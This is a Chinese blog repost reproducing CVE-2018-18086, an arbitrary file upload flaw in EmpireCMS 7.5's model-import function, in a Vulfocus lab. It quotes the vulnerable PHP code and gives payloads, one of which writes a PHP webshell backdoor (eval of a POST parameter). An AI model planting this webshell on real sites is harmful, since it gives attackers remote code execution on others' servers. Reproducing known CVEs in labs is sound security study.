其他分享
首页 > 其他分享> > 【漏洞复现 CVE-2018-18086】EmpireCMS 文件上传

【漏洞复现 CVE-2018-18086】EmpireCMS 文件上传

作者:互联网

0x01 漏洞描述

EmpireCMS(帝国网站管理系统)是一套内容管理系统(CMS)。 EmpireCMS 7.5版本中的e/class/moddofun.php文件的‘LoadInMod’函数存在安全漏洞。攻击者可利用该漏洞上传任意文件。

0x02 漏洞编号

CVE-2018-18086

0x03 影响范围

EmpireCMS<=7.5

0x04 漏洞复现

环境

使用Vulfocus靶场镜像一键搭建
https://fofapro.github.io/vulfocus/#/

复现

主要存在漏洞代码位置:/e/class/moddofun.php

//导入模型
elseif($enews=="LoadInMod")
{
	$file=$_FILES['file']['tmp_name'];
    $file_name=$_FILES['file']['name'];
    $file_type=$_FILES['file']['type'];
    $file_size=$_FILES['file']['size'];
	LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}

转到LoadInMod定义,make_password(10)对文件名进行加密重命名。但是include()直接包含上传的文件,这样就可以绕过重命名的文件

//上传文件
	$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
	$cp=@move_uploaded_file($file,$path);
	if(!$cp)
	{
		printerror("EmptyLoadInMod","");
	}
	DoChmodFile($path);
	@include($path);
	UpdateTbDefMod($tid,$tbname,$mid);

@include($path); 直接包含文件

上传一个1.php.mod文件,写入phpinfo()
<?php file_put_contents("shell1.php","<?php phpinfo()?>");?>

访问上传的文件,成功返回代码

进行getshell,写入一句话木马,$需要进行转义处理
<?php file_put_contents("getshell.php","<?php @eval(\$_POST[cmd]); ?>");?>

标签:文件,EmpireCMS,name,漏洞,18086,file,path,CVE,上传
来源: https://www.cnblogs.com/starci/p/15190603.html